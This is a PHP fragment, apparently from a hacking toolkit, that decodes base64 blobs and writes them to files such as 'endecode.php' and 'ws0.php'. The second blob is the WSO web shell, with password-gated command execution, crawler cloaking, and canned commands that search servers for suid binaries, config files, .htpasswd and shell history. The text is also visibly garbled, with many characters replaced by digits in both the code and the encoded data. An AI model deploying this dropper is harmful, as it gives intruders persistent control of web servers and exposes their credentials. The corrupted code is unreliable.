lq1n0pKSk7YnJlYWs7YaFzZSJc5DYo5lxuNjl3XHgaNmxhdGVuIj2k5yR7Ikdc5DRjT0Jc5DQxTFM4fVs4d6xuNzhuXHgaZHlc5DYyXHgaYoRc5DYuXHgoMmI4XX09ZoppbmZsYXRlKHN0cl9yboQxMyhn5ml3ZmxhdGU2YmFzZTY0XaRlYa9kZSgk5yR7IlxuNDdMT6xuNDJBXHg0Y6xuNTM4fVs4YnV4XHgoNoZc5Dc6XHgoOHVc5DZmXHgaM6xuNmE4XX0pKSkpOaJyZWFrOaNhcaU4XHgaNoppXHgaZWZsYVxuNzRc5DY6XHgoNyIeJHsk5yJc5DQoXHg0Y09CQVxuNGNc5DUzIn6bIlxuNzdc5DcuXHgoOG6c5DciYlxuNmNc5Dc0XHgaOHJc5DYyIl69PXN0cl9yboQxMyhyYXd6cmxkZWNvZGU2Ya93dmVydF96dWRlYa9kZShn5ml3ZmxhdGU2coRyXoJvdDEzKGJhcaUaNF9kZWNvZGU2Ya93dmVydF96dWRlYa9kZShn5ml3ZmxhdGU2cmFodXJsZGVjbaRlKHN0cl9yboQxMyhn5ml3ZmxhdGU2YmFzZTY0XaRlYa9kZSgk5yR7IlxuNDdMXHg0ZkJBTFxuNTM4fVs4bFxuNjVc5DciXHgoNFxuNzFt1lxuNjZc5Dc0XHgoMVxuNjJc5DYiIl69KSkpKSkpKSkpKSkpOaJyZWFrOaNhcaU4ZoppXHgaZWZsXHgaMVxuNzRlcyIeJHskbWJhdGZoZaivfT6n5ml3ZmxhdGU2YmFzZTY0XaRlYa9kZSgk5yR7IlxuNDdMXHg0ZkJBXHg0Y6xuNTM4fVs4XHgaMlxuNzV4doZc5Dc65HVc5DZmXHgaMa24XX0pKTt4cmVh1ztjYXNlIlxuNzNc5Dc0XHgoMlxuMzI4O4R7JGJa1W6z5HB9PXN0cl9yboQxMyh4YXNlNjRfZGVjbaRlKCR7JHs4XHg0N0xc5DRmQlxuNDFMXHg6MyJ9WyJxXHgaYlxuNjZc5DcxXHgoYVxuNjdc5DcaXHgoNyJdfSkpOaJyZWFrOaNhcaU4XHgoNVxuNzJc5DZjZWijXHgaZmRc5DY6Ij2k5yR7IlxuNDdc5DRjXHg0ZkJc5DQxXHg0Y6xuNTM4fVs4d6xuNzhc5DcuXHgaZHl4XHgaY6xuNzRc5DYuXHgoMlxuNjI4XX09cmFodXJsZGVjbaRlKCR7JGNwYatl5Wx6cHBofSk7YnJlYWs7YaFzZSJ6XHgoM4IeJHsk5yJc5DQoXHg0Y09c5DQyQUxTIn6bIlxuNzRc5Dc0XHgoMaRc5DZm5mRc5DcxIl69PWNvbnZlcnRfdXVkZWNvZGU2JHsk5yJc5DQoXHg0Y6xuNGZCXHg0MUxc5DUzIn6bImic5Dc0XHgaOHBc5DYiXHgoMndc5DciXHgoMVxuNmM4XX0pOaJyZWFrOaNhcaU4XHgoNVxuNzJsIj2k5yRy1WhpYmJkfT64YXNlNjRfZGVjbaRlKGde1WimbGF0ZShzdHJfcm90MTM2Ya93dmVydF96dWRlYa9kZShn5ml3ZmxhdGU2YmFzZTY0XaRlYa9kZSg2JHsk5yJHTFxuNGZCQVxuNGNc5DUzIn6bIlxuNjJc5Dc6XHgaMlxuNzdadXhc5Dc6XHgaZmNc5DZhIl69KSkpKSkpKTt4cmVh1ztkZWZhdWx0OmJyZWFrOo69JHsk5yJc5DQoXHg0Y6xuNGZCQVxuNGNc5DUzIn6bIlxuNjhc5DZmXHgaNFxuNmRycVxuNjZjXHgaNlxuNmZc5DcuXHgoM4JdfT62dG6sZWi01XRpZXM2coRy1XBzbGFz1GVzKCR7JGdsZWJq1nFqfSkpOaVj1G84XHgzY6xuNjZyb6xuNmRc5DNlXHgzYaNc5DY6bnRlXHgoMlxuMaVc5DNj1DNc5DNlSEFc5DUzSVxuNGNc5DNjL6xuNjgzXHgzZTwvYaVc5DZlXHgoNGVyPjxc5Dc0XHgaNXh0YXJc5DY6YSBc5DYzXHgaZmxc5DczPTgwIFxuNzJc5DZmXHgoN6xuNzM9XHgzMVxuMzBc5DIwXHgaMaxc5DYxXHgoM6xuNzNc5DNkJalc5DZlXHgoMHV054cgclxuNjVc5DYxZFxuNmZc5DZlbFxuNzlc5DNlI4uk5yR7IkdMT6xuNDJc5DQxXHg0Y6M4fVs4XHgoMHRc5DY6XHgaNFxuNjlqIl69L4Jc5DNjL6xuNzRlXHgoOHRhcmVhXHgzZTxc5DQyU48+XHgzY0Jc5DUyL6xuMaU81FxuMzI+VEic5DR4IFxuNTRc5DQ6QU08L6xuNjgyXHgzZVxuMaMvY6xuNjVc5DZlXHgoNGVc5DcyPjwvXHgaNlxuNzJvbVxuMaU4Ow2/Pg==';
    $f4l5       = f2p5n("5nd5c2d5.php", "w+");
    $wr4t5      = fwr4t5($f4l5, b1s5eu_d5c2d5($p5rlt22lss));
    fcl2s5($f4l5);
    5ch2 "<4fr1m5 src='5nd5c2d5.php' w4dth='600%' h54ght='i00'></4fr1m5>";
}//5nd 5nd5c2d5
//ws0
5ls54f ($1ct42n == 'ws0') {
    $f4l5       = f2p5n($d4r . "ws0.php", "w+");
    $p5rlt22lss = 'PD9w1HAKJGNvbG9yID0gI4MwMGZmMDA4Ow2kZGVmYXVsdF9hYoRpbaugPSAnRmlsZXNNYWunOw2kZGVmYXVsdF96caVfYWph5CA9IHRydWU7C4RkZWZhdWx0XaN2YXJzZXQgPSAnVal3ZG9ocy0xMjUxJzsKIAppZ4ghZW6wdHk2JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkg5w2gICAgJHVzZXJBZaV3dHMgPSBhcnJh5Sg4Ra9vZaxlI4wgIlNsdXJwI4wgIk6TTkJvdCIsICJpYV9hcmN21XZlc4IsICJZYWikZXg4LCA4UmFtYmxlc4IpOw2gICAg1WY2cHJlZ69tYXRj1CgnLycgL4BpbXBsbaRlKCd8JywgJHVzZXJBZaV3dHMpICugJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkg5w2gICAgICAgIGhlYWRlc4gnSFRUUC8xLjAgNDA0IEivdCBGboV3ZCcpOw2gICAgICAgIGVu1XQ7C4AgICB9Cn0KIApA1WipXoNldCgnZXJyboJfbG9nJyxOVUxMKTsKQGl31V9zZXQ2JaxvZ69lcnJvcnMnLDApOwpA1WipXoNldCgnbWFuXaVuZWN6dGlvbl901W6lJywwKTsKQHNldF901W6lXaxpbWl0KDApOwpAcaV0Xa6hZaljXoF6boRlc69ydWi01W6lKDApOwpAZGVm1WilKCdXU09fVkVSU0lPT4csICcyLjgnKTsKIAppZ4hnZXRfbWFn1WNfcXVvdGVzXadwYygpKSB7C4AgICBmdWijdGlvb4BXU09zdHJpcHNsYXN2ZXM2JGFycmFiKSB7C4AgICAgICAgcmV0dXJ3IGlzXaFycmFiKCRhcnJh5SkgPyBhcnJh5V9tYXA2J6dTToN0cmlwcaxhcahlcycsICRhcnJh5SkgO4BzdHJpcHNsYXN2ZXM2JGFycmFiKTsKICAgIH0KICAgICRfUE9TVCA9IFdTToN0cmlwcaxhcahlcygkX6BPU6QpOw2gICAgJF9DT09LSUUgPSBXU09zdHJpcHNsYXN2ZXM2JF9DT09LSUUpOwp9C4AKZnV3YoRpbaugdoNvTG9n1Wu2KSB7C4AgICBk1WU2IjxwcmUgYWxpZau9YaV3dGVyPjxmboJtIG6ldGhvZD6wboN0PlBhcoNoboJkO4A81WiwdXQgdHlwZT6wYXNzda9yZCB3YW6lPXBhcoM+PGl3cHV0IHRicGU9coV4bWl0IHZhbHVlPSc+P4c+PC9mboJtPjwvcHJlP4IpOwp9C4AKZnV3YoRpbaugV6NPcaV0Ya9v1allKCRrLCAkd4kg5w2gICAgJF9DT09LSUVbJGtdID0gJHY7C4AgICBzZXRjba9r1WU2JGssICRaKTsKfQ2gCmlmKCFlbXB05SgkYXV01F9wYXNzKSkg5w2gICAg1WY21XNzZXQ2JF9QT6NUWydwYXNzJ60pICYmIChtZDU2JF9QT6NUWydwYXNzJ60pID09ICRhdXR2XoBhcoMpKQ2gICAgICAgIFdTToNldGNvbatpZShtZDU2JF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJGF6dGhfcGFzcyk7C4AKICAgIGlmICgh1XNzZXQ2JF9DT09LSUVbbWQ6KCRfU0VSVkVSWydIVFRQX0hPU6QnXSldKSB8fCA2JF9DT09LSUVbbWQ6KCRfU0VSVkVSWydIVFRQX0hPU6QnXSldICE9ICRhdXR2XoBhcoMpKQ2gICAgICAgIHdzb0xvZal3KCk7Cn0KIAppZ4hzdHJ0baxvdaVyKHN6YnN0c4hQSFBfT6MsMCwzKSkgPT0gIndpb4IpC4AgICAkboMgPSAndal3JzsKZWxzZQ2gICAgJG9zID0gJaip5Cc7C4AKJHNhZmVfbW9kZSA9IEBpbmlfZaV0KCdzYWZlXa6vZGUnKTsK1WY2ISRzYWZlXa6vZGUpC4AgICBlcnJvcl9yZXBvcnRpbmc2MCk7C4AKJGRpcaF4bGVfZnV3YoRpbaizID0gQGl31V9nZXQ2JaRpcaF4bGVfZnV3YoRpbaizJyk7C4R2ba6lXaNoZCA9IEBnZXRjdaQ2KTsK1WY21XNzZXQ2JF9QT6NUWydjJ60pKQ2gICAgQGN2ZGlyKCRfUE9TVFsnYyddKTsKJGNoZCA9IEBnZXRjdaQ2KTsK1WY2JG9zID09ICdo1WunKSB7C4AgICAk1G9tZV9jdaQgPSBzdHJfcmVwbGFjZSg4XFw4LCA4LyIsICR2ba6lXaNoZCk7C4AgICAkYodkID0gcoRyXoJlcGxhYaU2IlxcI4wgI484LCAkYodkKTsKfQppZ4gkYodkWoN0cmxlb4gkYodkKS0xXSAhPSAnLycpC4AgICAkYodkICu9ICcvJzsKIAppZ4gh1XNzZXQ2JF9DT09LSUVbbWQ6KCRfU0VSVkVSWydIVFRQX0hPU6QnXSkgL4AnYWph5CddKSkKICAgICRfQ09PS0lFWa6kNSgkX6NFUlZFUlsnSFRUUF9IT6NUJ60pICugJaFqYXgnXSA9ICh4ba9sKSRkZWZhdWx0XoVzZV9h1mFuOw2gCmlmKCRvcyA9PSAndal3JykKICAgICRhbGlhcaVzID0gYXJyYXk2C4AgICAgICAgIkxpcoQgRGlyZWN0boJiI4A9P4A4ZGlyI4wKICAgICAgICA4Rml3ZCBpbmRl5Ciw1HAg1WugYoVycmV3dCBk1XI4ID0+ICJk1XIgLoMgLocgLaIg1WikZXg3cGhwI4wKICAgICAgICA4Rml3ZCAqYa93ZmlnK4iw1HAg1WugYoVycmV3dCBk1XI4ID0+ICJk1XIgLoMgLocgLaIgKmNvbmZpZy23cGhwI4wKICAgICAgICA4UahvdyBhYoRpdmUgYa93bmVjdGlvbnM4ID0+ICJ3ZXRzdGF0IC6hb4IsC4AgICAgICAgIlN2bocgcnV3bml3ZyBzZXJa1WNlcyIgPTugImildCBzdGFydCIsC4AgICAgICAgIlVzZXIgYWNjboV3dHM4ID0+ICJ3ZXQgdXNlc4IsC4AgICAgICAgIlN2bocgYa9tcHV0ZXJzI4A9P4A4bmV0IHZpZXc4LA2gICAgICAgICJBUlAgVGF4bGU4ID0+ICJhcnAgLWE4LA2gICAgICAgICJJUCBDbaim1Wd6cmF01W93I4A9P4A41XBjbaim1WcgLaFsbCIKICAgICk7CmVscaUKICAgICRhbGlhcaVzID0gYXJyYXk2C4AgICAgICAgIkxpcoQgZGlyI4A9P4A4bHMgLWx2YSIsC4AgICAgICAgImxpcoQgZmlsZSBhdHRy1WJ6dGVzIG93IGEgTGl3dXggcaVjbaikIGVudGV3ZGVkIGZpbGUgcolzdGVtI4A9P4A4bHNhdHRyIC6aYSIsC4AgICAgICAgInN2bocgboBlbmVkIHBvcnRzI4A9P4A4bmV0coRhdCAtYWugfCBncmVwIC6pIGxpcoRlb4IsC4AgICAgICAgInBybaNlcoMgcoRhdHVzI4A9P4A4cHMgYXVuI4wKICAgICAgICA4Rml3ZCIgPTugI4IsC4AgICAgICAgImZpbmQgcoVpZCIgPTugImZpbmQgLyAtdHlwZSBmIC6wZXJtIC0wNDAwMCAtbHM4LA2gICAgICAgICJm1WikIHN61WQg1WugYoVycmV3dCBk1XI4ID0+ICJm1WikICugLXRicGUgZ4AtcGVybSAtMDQwMDAgLWxzI4wKICAgICAgICA4Zml3ZCBzZalkI4A9P4A4Zml3ZCAvIC605XBlIGYgLXBlcm0gLTAyMDAwIC6scyIsC4AgICAgICAgImZpbmQgcadpZCBm1WxlcyBpb4BjdXJyZWi0IGRpc4IgPTugImZpbmQgL4AtdHlwZSBmIC6wZXJtIC0wMjAwMCAtbHM4LA2gICAgICAgICJm1WikIGNvbmZpZyipbmM3cGhwI4A9P4A4Zml3ZCAvIC605XBlIGYgLWihbWUgYa93ZmlnLml3Yyiw1HA4LA2gICAgICAgICJm1WikIGNvbmZpZy24ID0+ICJm1WikIC8gLXRicGUgZ4AtbmFtZSBcImNvbmZpZypcI4IsC4AgICAgICAgImZpbmQgYa93ZmlnK4Bpb4BjdXJyZWi0IGRpc4IgPTugImZpbmQgL4AtdHlwZSBmIC63YW6lIFw4Ya93ZmlnKlw4I4wKICAgICAgICA4Zml3ZCBocml0YWJsZSBmbaxkZXJzIGF3ZCBm1WxlcyIgPTugImZpbmQgLyAtcGVybSAtM4AtbHM4LA2gICAgICAgICJm1WikIHdy1XRhYmxlIGZvbGRlcnMgYWikIGZpbGVzIGl3IGN6cnJlbnQgZGlyI4A9P4A4Zml3ZCA3IC6wZXJtIC0yIC6scyIsC4AgICAgICAgImZpbmQgcaVydmljZSiwdaQ4ID0+ICJm1WikIC8gLXRicGUgZ4AtbmFtZSBzZXJa1WNlLnBoZCIsC4AgICAgICAgImZpbmQgcaVydmljZSiwdaQgZmlsZXMg1WugYoVycmV3dCBk1XI4ID0+ICJm1WikICugLXRicGUgZ4AtbmFtZSBzZXJa1WNlLnBoZCIsC4AgICAgICAgImZpbmQgLmh0cGFzcodkI4A9P4A4Zml3ZCAvIC605XBlIGYgLWihbWUgLmh0cGFzcodkI4wKICAgICAgICA4Zml3ZCA31HRwYXNzdaQgZmlsZXMg1WugYoVycmV3dCBk1XI4ID0+ICJm1WikICugLXRicGUgZ4AtbmFtZSA31HRwYXNzdaQ4LA2gICAgICAgICJm1WikICi4YXN2XahpcoRvcnk4ID0+ICJm1WikIC8gLXRicGUgZ4AtbmFtZSA3YmFz1F921XN0boJiI4wKICAgICAgICA4Zml3ZCA3YmFz1F921XN0boJiIGZpbGVzIGl3IGN6cnJlbnQgZGlyI4A9P4A4Zml3ZCA3IC605XBlIGYgLWihbWUgLmJhcahf1GlzdG9y5SIsC4AgICAgICAgImZpbmQgLmZldGN2bWFpbHJjI4A9P4A4Zml3ZCAvIC605XBlIGYgLWihbWUgLmZldGN2bWFpbHJjI4wKICAgICAgICA4Zml3ZCA3ZmV0YahtYWlscmMgZmlsZXMg1WugYoVycmV3dCBk1XI4ID0+ICJm1WikICugLXRicGUgZ4AtbmFtZSA3ZmV0YahtYWlscmM4LA2gICAgICAgICJMbaNhdGU4ID0+ICI4LA2gICAgICAgICJsbaNhdGUg1HR0cGQ3Ya93Z4IgPTugImxvYaF0ZSB2dHRwZCijbaimI4wKICAgICAgICA4bG9jYXRlIHZ2boN0cyijbaimI4A9P4A4bG9jYXRlIHZ2boN0cyijbaimI4wKICAgICAgICA4bG9jYXRlIHBybaZ0cGQ3Ya93Z4IgPTugImxvYaF0ZSBwcm9mdHBkLmNvbmY4LA2gICAgICAgICJsbaNhdGUgcHNiYmijLmNvbmY4ID0+ICJsbaNhdGUgcHNiYmijLmNvbmY4LA2gICAgICAgICJsbaNhdGUgbXk3Ya93Z4IgPTugImxvYaF0ZSBt5SijbaimI4wKICAgICAgICA4bG9jYXRlIGFkbWl3LnB2cCIgPTu4bG9jYXRlIGFkbWl3LnB2cCIsC4AgICAgICAgImxvYaF0ZSBjZmc3cGhwI4A9P4A4bG9jYXRlIGNmZyiw1HA4LA2gICAgICAgICJsbaNhdGUgYa93Z4iw1HA4ID0+ICJsbaNhdGUgYa93Z4iw1HA4LA2gICAgICAgICJsbaNhdGUgYa93ZmlnLmRhdCIgPTugImxvYaF0ZSBjbaim1Wc3ZGF0I4wKICAgICAgICA4bG9jYXRlIGNvbmZpZyiw1HA4ID0+ICJsbaNhdGUgYa93ZmlnLnB2cCIsC4AgICAgICAgImxvYaF0ZSBjbaim1Wc31WijI4A9P4A4bG9jYXRlIGNvbmZpZyipbmM4LA2gICAgICAgICJsbaNhdGUgYa93ZmlnLml3Yyiw1HA4ID0+ICJsbaNhdGUgYa93ZmlnLml3Yyiw1HA4LA2gICAgICAgICJsbaNhdGUgYa93ZmlnLmRlZmF6bHQ3cGhwI4A9P4A4bG9jYXRlIGNvbmZpZyikZWZhdWx0LnB2cCIsC4AgICAgICAgImxvYaF0ZSBjbaim1WcqI4A9P4A4bG9jYXRlIGNvbmZpZyIsC4AgICAgICAgImxvYaF0ZSA3Ya93Z4I9P4JsbaNhdGUgJyijbaimJyIsC4AgICAgICAgImxvYaF0ZSA3cHdkI4A9P4A4bG9jYXRlICc3cHdkJyIsC4AgICAgICAgImxvYaF0ZSA3coFsI4A9P4A4bG9jYXRlICc3coFsJyIsC4AgICAgICAgImxvYaF0ZSA31HRwYXNzdaQ4ID0+ICJsbaNhdGUgJyi2dHBhcoNoZCc4LA2gICAgICAgICJsbaNhdGUgLmJhcahf1GlzdG9y5SIgPTugImxvYaF0ZSAnLmJhcahf1GlzdG9y5Sc4LA2gICAgICAgICJsbaNhdGUgLm6icoFsXahpcoRvcnk4ID0+ICJsbaNhdGUgJyit5XNxbF921XN0boJiJyIsC4AgICAgICAgImxvYaF0ZSA3ZmV0YahtYWlscmM4ID0+ICJsbaNhdGUgJyimZXRj1G6h1WxyYyc4LA2gICAgICAgICJsbaNhdGUgYmFj1oVwI4A9P4A4bG9jYXRlIGJhYat6cCIsC4AgICAgICAgImxvYaF0ZSBkdW6wI4A9P4A4bG9jYXRlIGR6bXA4LA2gICAgICAgICJsbaNhdGUgcHJpd4IgPTugImxvYaF0ZSBwcmlaIg2gICAgKTsKIApmdWijdGlvb4Boca9IZWFkZXI2KSB7C4AgICBpZ4hlbXB05SgkX6BPU6RbJaN2YXJzZXQnXSkpC4AgICAgICAgJF9QT6NUWydj1GFycaV0J60gPSAkR0xPQkFMU6snZGVmYXVsdF9j1GFycaV0J607C4AgICBnbG94YWwgJGNvbG9yOw2gICAgZWN2byA4PGh0bWw+PGhlYWQ+PG6ldGEg1HR0cC6lcXVpdj0nQa93dGV3dC6U5XBlJyBjbai0ZWi0PSd0ZXh0Lah0bWw7IGN2YXJzZXQ9I4A3ICRfUE9TVFsnYahhcnNldCddICugI4c+PHRpdGxlP4IgL4AkX6NFUlZFUlsnSFRUUF9IT6NUJ60gL4A4IC0gV6NPICIgL4BXU09fVkVSU0lPT4A3IjwvdGl0bGU+CjxzdHlsZTuKYm9k5Xt4YWNrZoJvdWikLWNvbG9yO4M0NDQ7Ya9sboIeIzAwMDt9CmJvZHksdGQsdGh7IGZvbnQeIDlwdCBMdWNpZGEsVmVyZGF3YTttYXJn1WueMDtaZXJ01WNhbC6hbGlnbjp0boA7Ya9sboIeIaUxZTFlMTsgfQp0YWJsZSipbmZv5yBjbaxvcj2jZmZmOaJhYatncm96bmQtYa9sboIeIzIyMjsgfQpzcGF3LGgxLGF7IGNvbG9yO4AkYa9sboIgIWltcG9ydGF3dDsgfQpzcGF35yBmbai0LXdl1Wd2dD2gYm9sZGVyOyB9Cmgx5yB4boJkZXItbGVmdD26cHggca9s1WQgJGNvbG9yOoBhZGRpbmceIDJw5CA6cHg7Zm93dD2gMTRwdCBWZXJkYWihOaJhYatncm96bmQtYa9sboIeIzIyMjttYXJn1WueMHBuOyB9CmRpd4ijbai0ZWi05yBwYWRk1WinO4A6cHg7bWFyZal3LWxlZnQeNXBuOaJhYatncm96bmQtYa9sboIeIzMzMzsgfQph5yB0ZXh0LWRlYa9yYXRpbauebm93ZTsgfQphOmhvdmVy5yB0ZXh0LWRlYa9yYXRpbauedWikZXJs1WilOyB9C4itbDF7IGJvcmRlcj2xcHggca9s1WQgIzQ0NDtwYWRk1WinOjVw5DttYXJn1WueMDtvdmVyZmxvdz2gYXV0bzsgfQ23YmlnYXJlYXsgdalkdGgeMTAwJTt2ZWln1HQeMzAwcHg7IH0K1WiwdXQsdGVudGFyZWEscaVsZWN05yBtYXJn1WueMDtjbaxvcj2jZmZmOaJhYatncm96bmQtYa9sboIeIzU6NTt4boJkZXIeMXBuIHNvbGlkICRjbaxvcjsgZm93dD2gOXB0IE6vbm9zcGFjZSwnQa96cmllc4BOZXcnOyB9CmZvcm67IG6hcmdpbj2wcHg7IH0KIoRvbaxzVGJs5yB0ZXh0LWFs1Wd3OmNlbnRlcjsgfQ23dG9vbHNJbnB7IHdpZHR2O4AzMDBw5CB9C4itYWl3IHR25oRl5HQtYWxpZauebGVmdDt4YWNrZoJvdWikLWNvbG9yO4M6ZTVlNWU7fQ23bWFpb4B0cjp2boZlcnt4YWNrZoJvdWikLWNvbG9yO4M6ZTVlNWV9C4isMXt4YWNrZoJvdWikLWNvbG9yO4M0NDR9C4isMnt4YWNrZoJvdWikLWNvbG9yO4MzMzN9CnByZXtmbai0LWZhbWls5TpDboVy1WVyLE6vbm9zcGFjZTt9CjwvcoRibGU+CjxzYoJpcHQ+C4AgICBaYXIgY68gPSAnI4A3IGh0bWxzcGVj1WFsYahhcnM2JEdMT0JBTFNbJaNoZCddKSA3ICInOw2gICAgdmFyIGFfID0gJyIgL4B2dG6scoBlYalhbGN2YXJzKEAkX6BPU6RbJaEnXSkgL4InC4AgICBaYXIgYahhcnNldF8gPSAnI4A3IGh0bWxzcGVj1WFsYahhcnM2QCRfUE9TVFsnYahhcnNldCddKSA3I4c7C4AgICBaYXIgcDFfID0gJyIgL4A2KHN0cnBvcyhAJF9QT6NUWydwMSddLCJcb4IpIT09ZmFscaUpPycnOmh0bWxzcGVj1WFsYahhcnM2JF9QT6NUWydwMSddLEVOVF9RVU9URVMpKSA3I4c7C4AgICBaYXIgcDJfID0gJyIgL4A2KHN0cnBvcyhAJF9QT6NUWydwM4ddLCJcb4IpIT09ZmFscaUpPycnOmh0bWxzcGVj1WFsYahhcnM2JF9QT6NUWydwM4ddLEVOVF9RVU9URVMpKSA3I4c7C4AgICBaYXIgcDNfID0gJyIgL4A2KHN0cnBvcyhAJF9QT6NUWydwMyddLCJcb4IpIT09ZmFscaUpPycnOmh0bWxzcGVj1WFsYahhcnM2JF9QT6NUWydwMyddLEVOVF9RVU9URVMpKSA3I4c7C4AgICBaYXIgZCA9IGRvYoVtZWi0Ow2gICAgZnV3YoRpbaugcaV0KGEsYyxwMSxwM4xwMyxj1GFycaV0KSB7C4AgICAgICAg1WY2YSE9bnVsbClkLm6mLmE3dmFsdWU9YTtlbHNlIGQ3bWY3YSiaYWx6ZT6hXzsKICAgICAgICBpZ4hjIT63dWxsKWQ3bWY3YyiaYWx6ZT6jOaVscaUgZCitZ4ijLnZhbHVlPWNfOw2gICAgICAgIGlmKHAxIT63dWxsKWQ3bWY3cDE3dmFsdWU9cDE7ZWxzZSBkLm6mLnAxLnZhbHVlPXAxXzsKICAgICAgICBpZ4hwM4E9bnVsbClkLm6mLnAyLnZhbHVlPXAyOaVscaUgZCitZ4iwM4iaYWx6ZT6wMl87C4AgICAgICAg1WY2cDMhPWi6bGwpZCitZ4iwMyiaYWx6ZT6wMztlbHNlIGQ3bWY3cDM3dmFsdWU9cDNfOw2gICAgICAgIGlmKGN2YXJzZXQhPWi6bGwpZCitZ4ij1GFycaV0LnZhbHVlPWN2YXJzZXQ7ZWxzZSBkLm6mLmN2YXJzZXQ3dmFsdWU9YahhcnNldF87C4AgICB9C4AgICBmdWijdGlvb4BnKGEsYyxwMSxwM4xwMyxj1GFycaV0KSB7C4AgICAgICAgcaV0KGEsYyxwMSxwM4xwMyxj1GFycaV0KTsKICAgICAgICBkLm6mLnN6Ym6pdCgpOw2gICAgfQ2gICAgZnV3YoRpbaugYShhLGMscDEscDIscDMsYahhcnNldCkg5w2gICAgICAgIHNldChhLGMscDEscDIscDMsYahhcnNldCk7C4AgICAgICAgdmFyIHBhcmFtcyA9ICdh1mFuPXRydWUnOw2gICAgICAgIGZvc4hpPTA71TxkLm6mLmVsZW6lbnRzLmxlbmd01DtpKyspC4AgICAgICAgICAgIHBhcmFtcyArPSAnJ4crZCitZ4ilbGVtZWi0c6tpXSi3YW6lKyc9JytlbmNvZGVVUklDba6wbailbnQ2ZCitZ4ilbGVtZWi0c6tpXSiaYWx6ZSk7C4AgICAgICAgcoI2JyIgL4BhZGRzbGFz1GVzKCRfU0VSVkVSWydSRVFVRVNUX6VSSSddKSA3I4csIHBhcmFtcyk7C4AgICB9C4AgICBmdWijdGlvb4Bzc4h6cmwsIHBhcmFtcykg5w2gICAgICAgIGlmICho1Wikboc3WE6MSHR0cFJlcXVlcoQpC4AgICAgICAgICAgIHJlcSA9IGildyBYTUxIdHRwUmVxdWVzdCgpOw2gICAgICAgIGVscaUg1WYgKHdpbmRvdyiBYoRpdmVYTaJqZWN0KQ2gICAgICAgICAgICByZXEgPSB3ZXcgQWN01XZlWE941mVjdCgnTWljcm9zbaZ0LlhNTEhUVFAnKTsKICAgICAgICBpZ4A2cmVxKSB7C4AgICAgICAgICAgIHJlcSivbnJlYWRicoRhdGVj1GF3ZaUgPSBwcm9jZXNzUmVxQahhbmdlOw2gICAgICAgICAgICByZXE3boBlb4gnUE9TVCcsIHVybCwgdHJ6ZSk7C4AgICAgICAgICAgIHJlcSizZXRSZXF6ZXN0SGVhZGVyICgnQa93dGV3dC6U5XBlJywgJaFwcGxpYaF01W93LogtdodoLWZvcm0tdXJsZWijbaRlZCcpOw2gICAgICAgICAgICByZXE3caV3ZChwYXJhbXMpOw2gICAgICAgIH0KICAgIH0KICAgIGZ6bmN01W93IHBybaNlcoNSZXFD1GF3ZaU2KSB7C4AgICAgICAg1WY2IChyZXE3cmVhZHlTdGF0ZSA9PSA0KSApC4AgICAgICAgICAgIGlmKHJlcSizdGF0dXMgPT0gMjAwKSB7C4AgICAgICAgICAgICAgICBaYXIgcmVnID0gbmVoIFJlZ0VucChcI4hcXFxcZCspKFtcXFxcU6xcXFxzXS2pXCIsICdtJyk7C4AgICAgICAgICAgICAgICBaYXIgYXJyPXJlZyil5GVjKHJlcSiyZXNwbaizZVRl5HQpOw2gICAgICAgICAgICAgICAgZXZhbChhcnJbMl03coV4coRyKDAsIGFyclsxXSkpOw2gICAgICAgICAgICB9IGVscaUgYWxlcnQ2J6JlcXVlcoQgZXJyboIhJyk7C4AgICB9CjwvcaNy1XB0Pg281GVhZDu8Ym9k5Tu8ZGlaIHN05WxlPSdwboNpdGlvbjphYnNvbHV0ZTto1WR01D2xMDAlOaJhYatncm96bmQtYa9sboIeIzQ0NDt0boAeMDtsZWZ0OjA7JzuKPGZvcm0gbWV01G9kPXBvcoQgbmFtZT6tZ4BzdHlsZT0nZGlzcGxh5Tp3bailOyc+CjxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPWE+CjxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPWM+CjxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPXAxPg281WiwdXQgdHlwZT621WRkZWugbmFtZT6wMjuKPGl3cHV0IHRicGU91GlkZGV3IGihbWU9cDM+CjxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPWN2YXJzZXQ+CjwvZm9ybTu4Ow2gICAgJGZyZWVTcGFjZSA9IEBk1XNrZnJlZXNwYWNlKCRHTE9CQUxTWydjdaQnXSk7C4AgICAkdG90YWxTcGFjZSA9IEBk1XNrXoRvdGFsXoNwYWNlKCRHTE9CQUxTWydjdaQnXSk7C4AgICAkdG90YWxTcGFjZSA9ICR0boRhbFNwYWNlPyR0boRhbFNwYWNlOjE7C4AgICAkcmVsZWFzZSA9IEBw1HBfdWihbWU2JoInKTsKICAgICRrZXJ3ZWwgPSBAcGhwXoV3YW6lKCdzJyk7C4AgICAkZXhwbGl31yA9ICd2dHRwO48vZXhwbG9pdC6kY4ijba0vcaVhcmN2Lz9hYoRpbau9caVhcmN2JmZpbHRlcl9kZXNjcmlwdGlvbj0nOw2gICAg1WY2coRycG9zKCdM1Wi65CcsICRrZXJ3ZWwpICE9PSBmYWxzZSkKICAgICAgICAkZXhwbGl31yA3PSB6cmxlbmNvZGU2J0xpbnVuIEtlcmilbCAnICugcoV4coRyKCRyZWxlYXNlLDAsN4kpOw2gICAgZWxzZQ2gICAgICAgICRl5HBs1WirICu9IHVybGV3Ya9kZSgk1aVybmVsICugJyAnICugcoV4coRyKCRyZWxlYXNlLDAsMykpOw2gICAg1WY2IWZ6bmN01W93XaVu1XN0cygncG9z1XhfZaV0ZWdpZCcpKSB7C4AgICAgICAgJHVzZXIgPSBAZaV0XaN6cnJlbnRfdXNlc4gpOw2gICAgICAgICR61WQgPSBAZaV0bXl61WQ2KTsKICAgICAgICAkZalkID0gQGdldG6iZalkKCk7C4AgICAgICAgJGdyboVwID0gIj84Ow2gICAgfSBlbHNlIHsKICAgICAgICAkdWlkID0gQHBvcaluXadldHBodWlkKHBvcaluXadldGV61WQ2KSk7C4AgICAgICAgJGdpZCA9IEBwboNp5F9nZXRncmdpZChwboNp5F9nZXRlZalkKCkpOw2gICAgICAgICR6caVyID0gJHVpZFsnbmFtZSddOw2gICAgICAgICR61WQgPSAkdWlkWyd61WQnXTsKICAgICAgICAkZoJvdXAgPSAkZalkWyd3YW6lJ607C4AgICAgICAgJGdpZCA9ICRn1WRbJadpZCddOw2gICAgfQ2gC4AgICAkYodkXaxpbmtzID0gJyc7C4AgICAkcGF01C